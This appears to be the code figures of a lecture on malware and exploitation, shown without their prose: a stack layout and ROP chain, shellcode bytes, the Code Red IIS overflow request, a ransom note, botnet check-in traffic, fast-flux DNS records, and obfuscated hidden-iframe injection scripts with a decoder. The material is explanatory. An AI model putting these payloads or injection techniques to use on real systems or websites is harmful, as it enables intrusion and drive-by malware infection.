














var1

buf[16]

var2

saved EBP

return address

arg1

arg2
0xFFFFFFFF

stack

\x0f\x6a\xe8\x59

\xff\xff\xff\xff

\x5e\xc1\x46\x80

\xe0\x0a\x4c\x30

\x0b\x0e\xfa\x02

\x4b\x45\x49\x46

\x52\x4a\x4d\x4f

\x4c\x5b\x4f\x5e

\x4b\x46\x43\x5d

GET / HTTP/1.1

User-Agent: Wget

/1.10.2





4000B12A\x6A\x07\x59\xE8\xFF\xFF\xFF\xFF\xC1



...

0xb8800000

0x00000001

0xb8800010

0x00000002

0xb8800020

0xb8800010

0x00400000

0xb8800030

...

0xb8800000:
pop eax
ret
...

0xb8800010:
pop ebx
ret
...

0xb8800020:
add eax, ebx
ret
...

0xb8800030:
mov [ebx], eax
ret

esp eax = 1

ebx = 2

eax += ebx

ebx = 0x400000

*ebx = eax



finger

sendmail

rsh/rexec (/etc/hosts.equiv .rhosts



GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u

9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%

u53ff%u0078%u0000%u00=a HTTP/1.0

HELLO! Welcome to http://www.worm.com! Hacked By Chinese!























/etc/hosts known_hosts











Some files are coded.

To buy decoder mail: <user>@yahoo.com

with subject: PGCoder000000000032













POST /A15078D49EBA4C4E/qxoT4B5uUFFqw6c...SZG1at6E0AaCxQg6nIGA

ts=1232724990&ip=192.168.0.1:&sport=8109&hport=8108&os=5.1.2600
&cn=United%20States&nid=A15078D49EBA4C4E&bld=gnh5&ver=229







;; ANSWER SECTION:
thearmynext.info. 600 IN A 69.183.26.53
thearmynext.info. 600 IN A 76.205.234.13
thearmynext.info. 600 IN A 85.177.96.105
thearmynext.info. 600 IN A 27.129.178.13
thearmynext.info. 600 IN A 24.98.252.230

;; ANSWER SECTION:
thearmynext.info. 600 IN A 213.47.148.82
thearmynext.info. 600 IN A 213.91.251.16
thearmynext.info. 600 IN A 69.183.207.99
thearmynext.info. 600 IN A 91.148.168.92
thearmynext.info. 600 IN A 195.38.60.79









\x6A\x07\x59\xE8\xFF\xFF\x6A\x07\x59\xE8\xFF\xFF\xFF\x6A\x07\x59\xE8\xFF\xFF\xFF\xFF\x6A\x07\x59\xE8\xFF\x6A\x07\x59\xE8\xFF\xFF\xFF\xFF\xC1\x5E\xE8\xFF\xFF\xC1\x6B\x80\x6A\x07\x59\xE8



inc ecx
dec ecx

push 0xF3
pop eaxmov eax,0xF3 

sed –i 's/eax/ebx/g'









<iframe src=http://malicious.site.com/ style=display:none></iframe>



<iframe src=http://malicious.site.com/ style=display:none></iframe>

<script language="javascript">
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%
74%70%3A%2F%2F%6D%61%6C%69%63%69%6F%75%73%2E%73%69%74%65%2E%63%6F%6D
%2F%20%73%74%79%6C%65%3D%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3E%3C%2
F%69%66%72%61%6D%65%3E%0A'));
</script> 



<iframe src=http://malicious.site.com/ style=display:none></iframe>

<script language="javascript">
document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22
%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%64%46%28%
73%29%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%7
3%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27
%27%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%
2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%3
1%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E
%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%
69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%0D%0A%7D%0D%0A%3C%2F%73%63%7
2%69%70%74%3E'));dF('%264Dtdsjqu%2631mbohvbhf%264E%2633kbwbtdsjqu%2633%264F%261
E%261Bgvodujpo%2631qsfmpbeJnbhft%2639%263%3A%268C%261E%261Bwbs%2631jB%264Eofx%2
631Bssbz%2639%263%3A%264C%261E%261Bgps%2639j%264E1%264Cj%264Dbshvnfout/mfohui%2
64Cj%2C%2C%263%3A%268C%261E%261BjB%266Cj%266E%264Eofx%2631Jnbhf%2639%263%3A%264
C%261E%261BjB%266Cj%266E/tsd%264Ebshvnfout%266Cj%266E%264C%261E%261B%268E%268E%
261E%261B%261E%261BqsfmpbeJnbhft%2639%2638jnh2/hjg%2638%263D%2638jnh3/hjg%2638%
263D%2638jnh4/hjg%2638%263%3A%264C%261E%261B%264D0tdsjqu%264F1');
</script>



<iframe src=http://malicious.site.com/ style=display:none></iframe>

function dF(s){
var s1=unescape(s.substr(0,s.length-1));
var t='';
for(i=0;i<s1.length;i++){
t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));

}
document.write(unescape(t));

}

document.write(unescape('%3C%73%63%72%69%70%74%20%6C...'))



<iframe src=http://malicious.site.com/ style=display:none></iframe>

<html>
<body>
<input type='text' style='display:none' id='foo'
value='bar=new Array(161,244,251,239,252,240,248,189,238,239,...);'/>
<script language="javascript">
document.write(unescape('%3C%73%63%72%69%70...'));
eval(document.getElementById('foo').value);
dF(bar);
</script>
</body>
</html> 




